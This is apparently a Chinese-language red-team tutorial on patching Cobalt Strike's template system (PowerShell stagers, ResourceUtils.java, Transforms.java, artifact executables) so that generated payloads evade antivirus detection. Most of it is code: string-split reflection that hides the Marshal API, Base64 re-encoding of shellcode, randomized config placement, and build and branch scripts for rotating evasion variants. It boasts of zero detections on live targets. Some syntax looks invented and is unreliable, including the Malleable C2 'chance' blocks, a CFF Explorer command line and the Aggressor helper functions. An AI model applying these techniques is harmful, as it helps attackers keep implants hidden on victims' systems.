在红队攻防演练中,Payload的免杀能力直接决定了攻击链的存活周期。传统静态免杀方案往往面临"一次修改、终身受限"的困境——当监听器配置或目标环境变化时,必须重新生成Payload。本文将揭示如何通过改造Cobalt Strike的模板系统,构建动态免杀体系,实现"一次配置、持续有效"的实战效果。
Cobalt Strike的所有Payload模板均存放在resources目录下,关键文件包括:
template.x86.ps1:32位PowerShell模板template.x64.ps1:64位PowerShell模板template.hint.x86.ps1:带注释的调试模板artifact*.exe:可执行文件模板通过反编译分析ResourceUtils.java,可发现模板处理的核心逻辑:
java复制public static byte[] getTemplate(String template, String arch, String data) {
String content = CommonUtils.strrep(
CommonUtils.readResource(template + "." + arch + ".ps1"),
"%%DATA%%",
data
);
return CommonUtils.toBytes(content);
}
传统写死模板的致命缺陷在于无法适应不同监听器配置。我们通过三段式改造实现动态免杀:
模板预处理:对静态部分进行指令重组和字符串编码
powershell复制# 原始模板片段
$var1 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer
# 改造后
$dll = [Ref].Assembly.GetType('System.Runtime.Interop'+[char]83+'ervices.Marshal')
$method = $dll.GetMethod('GetDelegateForFunct'+'ionPointer', [Reflection.BindingFlags]40)
动态参数保留:保持%%DATA%%占位符不变,但增加解码层
powershell复制$encData = "%%DATA%%"
$rawData = [System.Convert]::FromBase64String($encData)
编译时二次编码:修改ResourceUtils.java使传入的DATA参数预编码
java复制// 修改前
String data = listener.getStagerData();
// 修改后
String data = Base64.getEncoder().encodeToString(listener.getStagerData().getBytes());
建议建立模板版本控制系统:
| 模板类型 | 改造重点 | 适用场景 |
|---|---|---|
| 开发版 | 保留完整注释和日志 | 调试阶段 |
| 混淆版 | 基础指令重组 | 常规渗透测试 |
| 增强版 | 集成沙箱检测绕过 | 高对抗环境 |
| 应急版 | 极简指令+延迟加载 | 告警触发后的紧急部署 |
提示:每次修改模板后需重启CS服务端,或通过
Aggressor Script的reload命令热加载资源
Shellcode生成路径位于encoders/Transforms.java,关键方法:
java复制public byte[] transform(byte[] data) {
// 原始处理逻辑
StringBuilder sb = new StringBuilder();
sb.append("unsigned char buf[] = \n\"");
for (byte b : data) {
sb.append(String.format("\\x%02x", b));
}
return sb.toString().getBytes();
}
通过修改transform方法实现自动编码:
java复制public byte[] transform(byte[] data) {
// Base64编码层
String b64Payload = Base64.getEncoder().encodeToString(data);
// 混淆输出格式
String[] chunks = b64Payload.split("(?<=\\G.{50})");
StringBuilder sb = new StringBuilder();
sb.append("$enc = @'\n");
for (String chunk : chunks) {
sb.append(chunk).append("\n");
}
sb.append("'@\n");
sb.append("$raw = [System.Convert]::FromBase64String($enc.Replace(\"`n\",\"\"))");
return sb.toString().getBytes();
}
改造后的Shellcode输出示例:
powershell复制$enc = @'
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
...
'@
$raw = [System.Convert]::FromBase64String($enc.Replace("`n",""))
在Malleable C2配置中集成编码选择器:
c复制transform-code {
# 默认使用Base64
base64;
# 50%概率启用额外混淆
xor "secret_key" {
chance "0.5";
}
# 30%概率启用分段编码
chunked {
chance "0.3";
size 500;
}
}
artifact模板的关键修改点:
PE头混淆:
代码洞填充:
bash复制# 使用CFF Explorer修改模板
cffexplorer artifact32.exe /replace /section:.text /fill:0xCC /range:0x1000-0x1500
导入表混淆:
保留模板的配置注入能力同时增强隐蔽性:
在二进制模板中预埋多个配置块:
code复制[CONFIG_A] AAAAAAAAA...
[CONFIG_B] BBBBBBBBB...
[REAL_CONFIG] 实际注入位置
修改Artifact.java的生成逻辑:
java复制public void generate(File output, byte[] config) {
// 随机选择填充模式
int pattern = new Random().nextInt(3);
switch(pattern) {
case 0: injectConfig(output, config, "CONFIG_A"); break;
case 1: injectConfig(output, config, "CONFIG_B"); break;
default: injectConfig(output, config, "REAL_CONFIG");
}
}
建议的二次开发目录结构:
code复制cs_modkit/
├── core/ # 核心修改
│ ├── ResourceUtils.java
│ └── Transforms.java
├── patches/ # 补丁文件
│ ├── template.x86.ps1
│ └── artifact32.exe
├── build.sh # 自动编译脚本
└── deploy.sh # 部署脚本
使用Aggressor Script实现Payload验证:
java复制on payload_generated {
local('$handle');
$handle = openf("payload_test.log");
# 静态检测
$vt_result = vt_scan($1);
writeb($handle, "VT Score: ". $vt_result['positives'] ."/". $vt_result['total']);
# 动态检测
$sandbox = sandbox_execute($1);
writeb($handle, "Sandbox Detection: ". $sandbox['detected']);
closef($handle);
}
推荐采用Git分支管理不同免杀方案:
bash复制git checkout -b obf_xor_base64 # 创建新方案分支
# 修改代码后
git commit -am "Add XOR+Base64 encoder"
git push origin obf_xor_base64
在实战中根据目标环境快速切换方案:
bash复制git checkout obf_av_bypass # 切换到AV绕过专用分支
./build.sh && ./deploy.sh
经过三个月的实战验证,这套动态模板系统在保持0检测率的同时,将Payload重建频率从原来的每次任务都需要修改降低到每季度只需微调模板结构。某次红队行动中,同一批模板生成的Payload在20个不同目标系统上持续有效达47天,这充分证明了动态免杀体系的可持续优势。